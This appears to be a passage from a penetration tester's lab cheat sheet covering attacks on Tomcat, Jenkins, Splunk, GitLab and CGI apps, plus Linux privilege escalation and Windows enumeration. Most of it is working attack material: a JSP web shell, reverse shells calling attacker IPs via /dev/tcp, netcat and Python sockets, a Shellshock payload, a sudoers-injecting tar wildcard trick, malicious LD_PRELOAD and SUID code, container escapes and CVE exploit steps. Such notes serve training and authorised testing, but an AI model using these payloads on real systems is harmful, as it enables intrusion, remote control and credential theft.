):
```java
<%@ page import="java.util.*,java.io.*"%>
<%
//
// JSP_KIT
//
// cmd.jsp = Command Execution (unix)
//
// by: Unknown
// modified: 27/06/2003
//
%>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "
");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
```
```shell-session
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
```
```shell-session
curl http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id
```
Generate a malicious WAR with msfvenom ([java/jsp\_shell\_reverse\_tcp](https://github.com/iagox86/metasploit-framework-webexec/blob/master/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb)):
```shell-session
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=4443 -f war > backup.war
```
```shell-session
nc -lnvp 4443
```
[Lightweight JSP web shell](https://github.com/SecurityRiskAdvisors/cmd.jsp) uses a Bookmarklet to minimize footprint.
Ghostcat ([CVE-2020-1938](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1938)) — unauthenticated LFI on the AJP service (port 8009). [PoC](https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi):
```shell-session
python2.7 tomcat-ajp.lfi.py app-dev.inlanefreight.local -p 8009 -f WEB-INF/web.xml
```
#### Jenkins
[Jenkins](https://www.jenkins.io/) runs on Tomcat port 8080 by default (5000 for slave servers). Script console reverse shell:
```groovy
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```
Or the [jenkins\_script\_console](https://web.archive.org/web/20230326230234/https://www.rapid7.com/db/modules/exploit/multi/http/jenkins_script_console/) Metasploit module. Against Windows, run commands:
```groovy
def cmd = "cmd.exe /c dir".execute();
println("${cmd.text}");
```
[Java reverse shell](https://gist.githubusercontent.com/frohoff/fed1ffaab9b9beeb1c76/raw/7cfa97c7dc65e2275abfb378101a505bfb754a95/revsh.groovy) for Windows:
```groovy
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
#### Splunk
Use [this Splunk package](https://github.com/0xjpuff/reverse_shell_splunk) ([Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) / [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1) examples). Directory structure:
```shell-session
tree splunk_shell/
splunk_shell/
├── bin
└── default
2 directories, 0 files
```
[inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf):
```shell-session
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```
The `.bat` file that runs the PowerShell one-liner:
```shell-session
@ECHO OFF
PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'"
Exit
```
Create a tarball / `.spl` file:
```shell-session
tar -cvzf updater.tar.gz splunk_shell/
```
Linux `rev.py`:
```python
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```
#### PRTG Network Monitor
```shell-session
curl -s http://10.129.201.50:8080/index.htm -A "Mozilla/5.0 (compatible; MSIE 7.01; Windows NT 5.0)" | grep version
```
#### osTicket
Discover credentials with [Dehashed](http://dehashed.com/):
```shell-session
sudo python3 dehashed.py -q inlanefreight.local -p
```
Use [linkedin2username](https://github.com/initstring/linkedin2username) to build a user list for password spraying against the VPN endpoint.
#### GitLab
Enumerate valid users with [this exploit](https://www.exploit-db.com/exploits/49821) ([Python3 version](https://github.com/dpgg101/GitLabUserEnum)):
```shell-session
./gitlab_userenum.sh --url http://gitlab.inlanefreight.local:8081/ --userlist users.txt
```
Authenticated RCE with [this exploit](https://www.exploit-db.com/exploits/49951):
```shell-session
python3 gitlab_13_10_2_rce.py -t http://gitlab.inlanefreight.local:8081 -u mrb3n -p password1 -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.15 8443 >/tmp/f '
```
#### CGI / Shellshock
Fuzz for CGI scripts:
```shell-session
ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.cmd
```
```shell-session
ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.bat
```
First find a valid CGI script (e.g. `http://10.129.204.227:8080/cgi/welcome.bat`), then use CVE-2019-0232 for command injection.
Hunt for CGI scripts with `Gobuster`:
```shell-session
gobuster dir -u http://10.129.204.231/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -x cgi
```
```shell-session
curl -i http://10.129.204.231/cgi-bin/access.cgi
```
Check for Shellshock via the user-agent field:
```shell-session
curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http://10.129.204.231/cgi-bin/access.cgi
```
Get a reverse shell:
```shell-session
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.38/7777 0>&1' http://10.129.204.231/cgi-bin/access.cgi
```
Mitigation blog:
#### Attacking Thick Client Applications
Info-gathering tools: · [Procmon](https://learn.microsoft.com/en-us/sysinternals/downloads/procmon) · [Strings](https://learn.microsoft.com/en-us/sysinternals/downloads/strings). More: [dnSpy](https://github.com/dnSpy/dnSpy) · [OllyDbg](https://www.ollydbg.de/) · [radare2](https://www.radare.org/n/) · [x64dbg](https://x64dbg.com/) · [jadx](https://github.com/skylot/jadx) · [Frida](https://frida.re/) · [Ghidra](https://github.com/NationalSecurityAgency/ghidra) · [IDA Pro](https://hex-rays.com/ida-pro)
#### Attacking ColdFusion
```shell-session
searchsploit adobe coldfusion
```
```shell-session
cp /usr/share/exploitdb/exploits/multiple/remote/14641.py .
```
```shell-session
python2 14641.py
```
CVE-2010-2861 LFI:
```shell-session
python2 14641.py 10.129.204.230 8500 "../../../../../../../../ColdFusion8/lib/password.properties"
```
CVE-2009-2265 RCE (`Adobe ColdFusion 8 - RCE`):
```shell-session
searchsploit -p 50057
```
```shell-session
cp /usr/share/exploitdb/exploits/cfm/webapps/50057.py .
```
```shell-session
python3 50057.py
```
#### IIS Tilde Enumeration
[IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) (needs Oracle Java — [install guide](https://ubuntuhandbook.org/index.php/2022/03/install-jdk-18-ubuntu/)):
```shell-session
java -jar iis_shortname_scanner.jar 0 5 http://10.129.204.231/
```
Generate Wordlist:
```shell-session
egrep -r ^transf /usr/share/wordlists/* | sed 's/^[^:]*://' > /tmp/list.txt
```
Enumerate with `gobuster`:
```shell-session
gobuster dir -u http://10.129.204.231/ -w /tmp/list.txt -x .aspx,.asp
```
#### LDAP
`ldapsearch` example:
```shell-session
ldapsearch -H ldap://ldap.example.com:389 -D "cn=admin,dc=example,dc=com" -w secret123 -b "ou=people,dc=example,dc=com" "(mail=john.doe@example.com)"
```
Breakdown: connect to `ldap.example.com:389`; bind as `cn=admin,dc=example,dc=com` with password `secret123`; search under `ou=people,dc=example,dc=com`; filter `(mail=john.doe@example.com)`.
#### Other Notable Applications
| Application | Abuse Info |
| --------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [Axis2](https://axis.apache.org/axis2/java/core/) | Similar to Tomcat, often on top of it. Check for weak/default admin creds and upload a [webshell](https://github.com/tennc/webshell/tree/master/other/cat.aar) as an AAR file. Also a Metasploit [module](https://packetstormsecurity.com/files/96224/Axis2-Upload-Exec-via-REST.html). |
| [Websphere](https://en.wikipedia.org/wiki/IBM_WebSphere_Application_Server) | Many [vulnerabilities](https://www.cvedetails.com/vulnerability-list/vendor_id-14/product_id-576/cvssscoremin-9/cvssscoremax-/IBM-Websphere-Application-Server.html). Default creds `system:manager` → deploy a WAR file for RCE. |
| [Elasticsearch](https://en.wikipedia.org/wiki/Elasticsearch) | Various [vulnerabilities](https://www.exploit-db.com/exploits/36337). HTB machine [Haystack](https://youtube.com/watch?v=oGO9MEIz_tI\&t=54). |
| [Zabbix](https://en.wikipedia.org/wiki/Zabbix) | SQLi, auth bypass, stored XSS, LDAP password disclosure, RCE. HTB box [Zipper](https://youtube.com/watch?v=RLvFwiDK_F8\&t=250) uses the Zabbix API for RCE. |
| [Nagios](https://en.wikipedia.org/wiki/Nagios) | RCE, root priv esc, SQLi, code injection, stored XSS. Check default creds `nagiosadmin:PASSW0RD`. |
| [WebLogic](https://en.wikipedia.org/wiki/Oracle_WebLogic_Server) | 190+ [CVEs](https://www.cvedetails.com/vulnerability-list/vendor_id-93/product_id-14534/Oracle-Weblogic-Server.html); many unauthenticated Java Deserialization RCEs. |
| Wikis/Intranets | MediaWiki, custom intranet, SharePoint. Check for known vulns and document repositories/search functionality. |
| [DotNetNuke](https://en.wikipedia.org/wiki/DNN_\(software\)) | Auth bypass, directory traversal, stored XSS, file upload bypass, arbitrary file download. |
| [vCenter](https://en.wikipedia.org/wiki/VCenter) | Check for weak creds and [Apache Struts 2 RCE](https://blog.gdssecurity.com/labs/2017/4/13/vmware-vcenter-unauthenticated-rce-using-cve-2017-5638-apach.html), [unauthenticated OVA upload](https://www.rapid7.com/db/modules/exploit/multi/http/vmware_vcenter_uploadova_rce/), [CVE-2021-22005](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22005). |
Application-Specific Hardening Tips:
| Application | Category | Discussion |
| ------------------------------------------------------------------------------------------------------------------------- | --------------------- | ------------------------------------------------------------------------------------------------------------ |
| [WordPress](https://wordpress.org/support/article/hardening-wordpress/) | Security monitoring | Use a plugin like [WordFence](https://www.wordfence.com/). |
| [Joomla](https://docs.joomla.org/Security_Checklist/Joomla!_Setup) | Access controls | Use [AdminExile](https://extensions.joomla.org/extension/adminexile/) to require a secret key. |
| [Drupal](https://www.drupal.org/docs/security-in-drupal) | Access controls | Disable, hide, or move the [admin login page](https://www.drupal.org/docs/7/managing-users/hide-user-login). |
| [Tomcat](https://tomcat.apache.org/tomcat-9.0-doc/security-howto.html) | Access controls | Limit Manager/Host-Manager to localhost; IP whitelist; strong creds. |
| [Jenkins](https://www.jenkins.io/doc/book/security/securing-jenkins/) | Access controls | Configure the [Matrix Authorization Strategy plugin](https://plugins.jenkins.io/matrix-auth). |
| [Splunk](https://docs.splunk.com/Documentation/Splunk/8.2.2/Security/Hardeningstandards) | Regular updates | Change default password; ensure proper licensing to enforce auth. |
| [PRTG](https://helpdesk.paessler.com/en/support/solutions/articles/76000062446-what-security-features-does-prtg-include-) | Secure authentication | Stay up-to-date and change the default password. |
| osTicket | Access controls | Limit access from the internet if possible. |
| [GitLab](https://about.gitlab.com/blog/2020/05/20/gitlab-instance-security-best-practices/) | Secure authentication | Enforce sign-up restrictions. |
***
### Linux Privilege Escalation
Cheat sheets: · · · [LinEnum](https://github.com/rebootuser/LinEnum)
List Current Processes:
```shell-session
ps aux | grep root
```
```shell-session
ps au
```
Home Directory Contents:
```shell-session
ls /home
```
Bash History:
```shell-session
history
```
Sudo - List User's Privileges:
```shell-session
sudo -l
```
Cron Jobs:
```shell-session
ls -la /etc/cron.daily/
```
File Systems & Additional Drives:
```shell-session
lsblk
```
Find Writable Directories:
```shell-session
find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null
```
Find Writable files:
```shell-session
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
```
OS & version:
```shell-session
cat /etc/os-release
```
Echo the environment PATH:
```shell-session
echo $PATH
```
All environment variables:
```shell-session
env
```
Kernel version:
```shell-session
uname -a
cat /proc/version
```
CPU info:
```shell-session
lscpu
```
Login shells on the server:
```shell-session
cat /etc/shells
```
Defenses to look for: [Exec Shield](https://en.wikipedia.org/wiki/Exec_Shield), [iptables](https://linux.die.net/man/8/iptables), [AppArmor](https://apparmor.net/), [SELinux](https://www.redhat.com/en/topics/linux/what-is-selinux), [Fail2ban](https://github.com/fail2ban/fail2ban), [Snort](https://www.snort.org/faq/what-is-snort), [ufw](https://wiki.ubuntu.com/UncomplicatedFirewall).
`lsblk` = list block devices:
```shell-session
lsblk
```
Mounted drives:
```shell-session
cat /etc/fstab
```
ARP table:
```shell-session
arp -a
```
#### Environment Enumeration
passwd file:
```shell-session
cat /etc/passwd | cut -f1 -d:
```
> *\[Screenshot: Pasted image 20250430161437.png]*
Enumerate shells on the machine:
```shell-session
grep "*sh$" /etc/passwd
```
Existing Groups:
```shell-session
cat /etc/group
```
List members of a group with [getent](https://man7.org/linux/man-pages/man1/getent.1.html):
```shell-session
getent group sudo
```
Mounted File Systems:
```shell-session
df -h
```
Unmounted File Systems:
```shell-session
cat /etc/fstab | grep -v "#" | column -t
```
All Hidden Files:
```shell-session
find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null | grep htb-student
```
All Hidden Directories:
```shell-session
find / -type d -name ".*" -ls 2>/dev/null
```
Temporary Files:
```shell-session
ls -l /tmp /var/tmp /dev/shm
```
If sudo on `ncdu` (see ):
```bash
sudo -u#-1 /bin/ncdu
```
Network Interfaces:
```shell-session
ip a
```
hosts:
```shell-session
cat /etc/hsots
```
User's Last Login:
```shell-session
lastlog
```
Who else is on the system:
```shell-session
w
```
Bash history:
```shell-session
history
```
Finding History Files:
```shell-session
find / -type f \( -name *_hist -o -name *_history \) -exec ls -l {} \; 2>/dev/null
```
Cron jobs checking:
```shell-session
ls -la /etc/cron.daily/
```
The [proc filesystem](https://man7.org/linux/man-pages/man5/proc.5.html):
```shell-session
find /proc -name cmdline -exec cat {} \; 2>/dev/null | tr " " "\n"
```
#### Services & Installed Packages
Installed Packages:
```shell-session
apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.list
```
Sudo Version:
```shell-session
sudo -V
```
Binaries:
```shell-session
ls -l /bin /usr/bin/ /usr/sbin/
```
[GTFObins](https://gtfobins.github.io/) — compare installed binaries against GTFObins. HTB one-liner (may not work for everyone):
```shell-session
for i in $(curl -s https://gtfobins.github.io/ | html2text | cut -d" " -f1 | sed '/^[[:space:]]*$/d');do if grep -q "$i" installed_pkgs.list;then echo "Check GTFO for: $i";fi;done
```
Modified, working version:
```bash
for bin in $(curl -s https://gtfobins.github.io/ | grep -oP '(?<=href="/gtfobins/)[^/"]+(?=/)' | sort -u); do grep -qw "$bin" installed_pkgs.list && echo "Check GTFO for: $bin"; done
```
Trace System Calls with `strace`:
```shell-session
strace ping -c1 10.129.112.20
```
#### Configuration Files
```shell-session
find / -type f \( -name *.conf -o -name *.config \) -exec ls -l {} \; 2>/dev/null
```
Scripts:
```shell-session
find / -type f -name "*.sh" 2>/dev/null | grep -v "src\|snap\|share"
```
Running Services by User:
```shell-session
ps aux | grep root
```
MySQL credentials within WordPress config:
```shell-session
cat wp-config.php | grep 'DB_USER\|DB_PASSWORD'
grep 'DB_USER\|DB_PASSWORD' wp-config.php
```
Find config files broadly:
```shell-session
find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null
```
#### PATH Abuse
Check the PATH variable:
```bash
env | grep PATH
echo $PATH
```
Add `.` to the path and export it:
```shell-session
PATH=.:${PATH}
export PATH
echo $PATH
```
Modify the path to run a command when `ls` is typed:
```bash
touch ls
echo 'echo "PATH ABUSE!!"' > ls
chmod +x ls
```
#### Wildcard Abuse
| **Character** | **Significance** |
| ------------- | ----------------------------------------------------- |
| `*` | Matches any number of characters in a file name. |
| `?` | Matches a single character. |
| `[ ]` | Matches any single character at the defined position. |
| `~` | Expands to the user's home directory. |
| `-` | A range of characters within brackets. |
Tar wildcard injection vulnerability — relies on someone later running `tar -cf archive.tar *`:
```bash
echo 'echo "htb-student ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
echo "" > "--checkpoint-action=exec=sh root.sh"
echo "" > --checkpoint=1
```
> *\[Screenshot: Pasted image 20250430201027.png]*
#### Escaping Restricted Shells
Restricted shells: [rbash](https://www.gnu.org/software/bash/manual/html_node/The-Restricted-Shell.html), [rksh](https://www.ibm.com/docs/en/aix/7.2?topic=r-rksh-command), [rzsh](https://manpages.debian.org/experimental/zsh/rzsh.1.en.html).
Escaping via command injection:
```shell-session
ls -l `pwd`
```
#### Special Permissions (SUID / SGID)
See [special permissions reference](https://linuxconfig.org/how-to-use-special-permissions-the-setuid-setgid-and-sticky-bits).
Find SUID binaries:
```shell-session
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
```
Find SGID binaries:
```shell-session
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null
```
[GTFOBins](https://gtfobins.github.io/) — e.g. `apt-get` Pre-Invoke:
```shell-session
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
```
#### Sudo Rights Abuse
```shell-session
sudo -l
```
`tcpdump` — execute a shell script with `-z`:
```shell-session
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
```
The reverse shell script:
```shell-session
cat /tmp/.test
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 443 >/tmp/f
```
#### Privileged Groups — LXC / LXD
Membership of the `lxd`/`lxc` group can be used to escalate privileges. Confirm membership:
```shell-session
id
```
Unzip the Alpine image:
```shell-session
unzip alpine.zip
```
Start the LXD initialization (see [this post](https://www.digitalocean.com/community/tutorials/how-to-set-up-and-use-lxd-on-ubuntu-16-04)):
```shell-session
devops@NIX02:~$ lxd init
```
Import the local image:
```shell-session
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
```
Start a privileged container:
```shell-session
lxc init alpine r00t -c security.privileged=true
```
Mount the host file system:
```shell-session
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
```
Spawn a shell inside the container:
```shell-session
lxc start r00t
lxc exec r00t /bin/sh
```
#### Privileged Groups — Docker
Members of the docker group can spawn new containers, e.g. `docker run -v /root:/mnt -it ubuntu` mounts `/root` as a volume.
#### Capabilities
Set a capability example:
```shell-session
sudo setcap cap_net_bind_service=+ep /usr/bin/vim.basic
```
Capabilities of interest include `cap_sys_admin`, `cap_sys_chroot`, `cap_sys_ptrace`, `cap_sys_nice`, `cap_sys_time`, `cap_sys_resource`, `cap_sys_module`, `cap_net_bind_service`, `cap_setuid`, `cap_setgid`, `cap_dac_override`.
Capability values: `=` (clear), `+ep` (effective+permitted), `+ei` (effective+inheritable), `+p` (permitted only).
Enumerating Capabilities:
```shell-session
find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;
```
Abuse `cap_dac_override` on `/usr/bin/vim` to modify a system file:
```shell-session
/usr/bin/vim.basic /etc/passwd
```
Non-interactive:
```shell-session
echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd
cat /etc/passwd | head -n1
```
#### Cron Jobs
Find world-writable files (skipping /proc):
```shell-session
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
```
Confirm a cron job with [pspy](https://github.com/DominicBreuker/pspy):
```shell-session
./pspy64 -pf -i 1000
```
#### Containers (LXC / LXD / Docker)
Confirm group membership:
```shell-session
id
```
Import a container as an image:
```shell-session
lxc image import ubuntu-template.tar.xz --alias ubuntutemp
lxc image list
```
Initiate and configure with `security.privileged`:
```shell-session
lxc init ubuntutemp privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
```
Start and access the host's resources as root:
```shell-session
lxc start privesc
lxc exec privesc /bin/bash
ls -l /mnt/root
```
Docker Shared Directories — enumerate non-standard directories:
```shell-session
cd /hostsystem/home/cry0l1t3
ls -l
```
Download the [docker binary](https://master.dockerproject.com/linux/x86_64/docker) and interact with the socket:
```shell-session
htb-student@container:/tmp$ wget https://:443/docker -O docker
htb-student@container:/tmp$ chmod +x docker
htb-student@container:/tmp$ ls -l
htb-student@container:~/tmp$ /tmp/docker -H unix:///app/docker.sock ps
```
Create a container mapping the host root to `/hostsystem`:
```shell-session
htb-student@container:/app$ /tmp/docker -H unix:///app/docker.sock run --rm -d --privileged -v /:/hostsystem main_app
htb-student@container:~/app$ /tmp/docker -H unix:///app/docker.sock ps
```
Log into the new privileged container:
```shell-session
/tmp/docker -H unix:///app/docker.sock exec -it 7ae3bcc818af /bin/bash
```
List images:
```shell-session
docker image ls
```
Writable Docker socket (usually `/var/run/docker.sock`):
```shell-session
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash
```
#### Kubernetes (K8s)
Kubernetes is a container orchestration platform. Analyze pods:
```shell-session
kubeletctl -i --server 10.129.10.11 pods
```
Scan for RCE:
```shell-session
kubeletctl -i --server 10.129.10.11 scan rce
```
Interact with a container:
```shell-session
kubeletctl -i --server 10.129.10.11 exec "id" -p nginx -c nginx
```
Obtain the service account token and certificate with [kubeletctl](https://github.com/cyberark/kubeletctl):
```shell-session
kubeletctl -i --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee -a k8.token
```
Extracting Certificates:
```shell-session
kubeletctl --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx | tee -a ca.crt
```
Check access rights:
```shell-session
export token=`cat k8.token`
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.10.11:6443 auth can-i --list
```
Create a pod that mounts the host root filesystem (`privesc.yaml`):
```yaml
apiVersion: v1
kind: Pod
metadata:
name: privesc
namespace: default
spec:
containers:
- name: privesc
image: nginx:1.14.2
volumeMounts:
- mountPath: /root
name: mount-root-into-mnt
volumes:
- name: mount-root-into-mnt
hostPath:
path: /
automountServiceAccountToken: true
hostNetwork: true
```
Create the pod and verify:
```shell-session
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 apply -f privesc.yaml
```
```shell-session
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 get pods
```
Retrieve sensitive data (e.g. root's SSH key):
```shell-session
kubeletctl --server 10.129.10.11 exec "cat /root/root/.ssh/id_rsa" -p privesc -c privesc
```
#### Logrotate
— requirements: write permissions on the log files; logrotate runs as root; vulnerable versions 3.8.6, 3.11.0, 3.15.0, 3.18.0. Use [logrotten](https://github.com/whotwagner/logrotten):
```shell-session
git clone https://github.com/whotwagner/logrotten.git
cd logrotten
gcc logrotten.c -o logrotten
```
Prepare a payload:
```shell-session
echo 'bash -i >& /dev/tcp/10.10.14.2/9001 0>&1' > payload
```
Determine which option logrotate uses:
```shell-session
grep "create\|compress" /etc/logrotate.conf | grep -v "#"
```
Run netcat:
```shell-session
nc -nlvp 9001
```
Run the exploit:
```shell-session
./logrotten -p ./payload /tmp/tmp.log
```
#### Weak NFS Privileges
NFS uses TCP/UDP port 2049. List remote mounts:
```shell-session
showmount -e 10.129.2.12
```
Create a SETUID binary that executes `/bin/sh`:
```shell-session
cat shell.c
#include
#include
#include
#include
int main(void)
{
setuid(0); setgid(0); system("/bin/bash");
}
```
```shell-session
gcc shell.c -o shell
```
Mount, copy, and set the SUID bit:
```shell-session
sudo mount -t nfs 10.129.2.12:/tmp /mnt
cp shell /mnt
chmod u+s /mnt/shell
```
Execute the binary from the low-priv session:
```shell-session
./shell
```
#### Hijacking Tmux Sessions
```shell-session
tmux -S /shareds new -s debugsess
chown root:devs /shareds
```
Check for running tmux processes:
```shell-session
ps aux | grep tmux
```
Confirm permissions:
```shell-session
ls -la /shareds
```
Review group membership:
```shell-session
id
```
Attach to the session:
```shell-session
tmux -S /shareds
```
#### LD\_PRELOAD
Check sudo privileges:
```shell-session
sudo -l
```
Malicious library ([LD\_PRELOAD](https://web.archive.org/web/20231214050750/https://blog.fpmurphy.com/2012/09/all-about-ld_preload.html)):
```c
#include
#include
#include
#include
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
```
Compile:
```shell-session
gcc -fPIC -shared -o root.so root.c -nostartfiles
```
Escalate:
```shell-session
sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart
```
#### Shared Object Hijacking
Print shared objects with [ldd](https://manpages.ubuntu.com/manpages/bionic/man1/ldd.1.html):
```shell-session
ldd payroll
```
Inspect `RUNPATH` with [readelf](https://man7.org/linux/man-pages/man1/readelf.1.html):
```shell-session
readelf -d payroll | grep PATH
```
Find the function name:
```shell-session
ldd payroll
```
```shell-session
cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so
```
```shell-session
./payroll
```
> *\[Screenshot: Pasted image 20260207014935.png]*
Compile a shared object with the missing function:
```c
#include
#include
#include
void dbquery() {
printf("Malicious library loaded\n");
setuid(0);
system("/bin/sh -p");
}
```
Compile it:
```shell-session
gcc src.c -fPIC -shared -o /development/libshared.so
```
Execute the binary:
```shell-session
./payroll
```
#### Recent 0-Days
```shell-session
sudo cat /etc/sudoers | grep -v "#" | sed -r '/^\s*$/d'
```
CVE-2021-3156 ([Proof-Of-Concept](https://github.com/blasty/CVE-2021-3156)):
```shell-session
cry0l1t3@nix02:~$ git clone https://github.com/blasty/CVE-2021-3156.git
cry0l1t3@nix02:~$ cd CVE-2021-3156
cry0l1t3@nix02:~$ make
rm -rf libnss_X
mkdir libnss_X
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
```
List affected OS versions:
```shell-session
./sudo-hax-me-a-sandwich
```
CVE-2019-14287 (sudo < 1.8.28):
```shell-session
sudo -u#-1 id
```
Polkit — actions (`/usr/share/polkit-1/actions`) and rules (`/usr/share/polkit-1/rules.d`):
```shell-session
cry0l1t3@nix02:~$ # pkexec -u
cry0l1t3@nix02:~$ pkexec -u root id
```
Pwnkit ([CVE-2021-4034](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4034)), [PoC](https://github.com/arthepsy/CVE-2021-4034):
```shell-session
git clone https://github.com/arthepsy/CVE-2021-4034.git
cd CVE-2021-4034
gcc cve-2021-4034-poc.c -o poc
```
Dirty Pipe ([CVE-2022-0847](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847)), kernels 5.8–5.17, [PoC](https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits):
```shell-session
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
cd CVE-2022-0847-DirtyPipe-Exploits
bash compile.sh
```
exploit-1 modifies `/etc/passwd`:
```shell-session
uname -r
```
```shell-session
./exploit-1
```
exploit-2 runs SUID binaries as root — find them first:
```shell-session
find / -perm -4000 2>/dev/null
```
```shell-session
./exploit-2 /usr/bin/sudo
```
***
### Windows Privilege Escalation
Useful Tools:
| Tool | Description |
| -------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [Seatbelt](https://github.com/GhostPack/Seatbelt) | C# project for local privilege escalation checks |
| [winPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) | Searches for privilege escalation paths ([checks explained](https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html)) |
| [PowerUp](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1) | PowerShell script for common Windows priv-esc misconfigurations |
| [SharpUp](https://github.com/GhostPack/SharpUp) | C# version of PowerUp |
| [JAWS](https://github.com/411Hall/JAWS) | PowerShell 2.0 priv-esc enumeration |
| [SessionGopher](https://github.com/Arvanaghi/SessionGopher) | Finds and decrypts saved session info (PuTTY, WinSCP, RDP, etc.) |
| [Watson](https://github.com/rasta-mouse/Watson) | .NET tool to enumerate missing KBs and suggest exploits |
| [LaZagne](https://github.com/AlessandroZ/LaZagne) | Retrieves passwords stored on a local machine |
| [WES-NG](https://github.com/bitsadmin/wesng) | Based on `systeminfo` output; lists vulnerabilities and exploits |
| [Sysinternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) | [AccessChk](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk), [PipeList](https://docs.microsoft.com/en-us/sysinternals/downloads/pipelist), [PsService](https://docs.microsoft.com/en-us/sysinternals/downloads/psservice) |
Pre-compiled binaries of Seatbelt & SharpUp: · LaZagne releases:
Interface(s), IP Address(es), DNS Information:
```cmd-session
ipconfig /all
```
arp table:
```cmd-session
arp -a
```
Routing table:
```cmd-session
route print
```
Check Windows Defender Status:
```powershell-session
Get-MpComputerStatus
```
List AppLocker Rules:
```powershell-session
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
```
Test AppLocker Policy:
```powershell-session
Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone
```
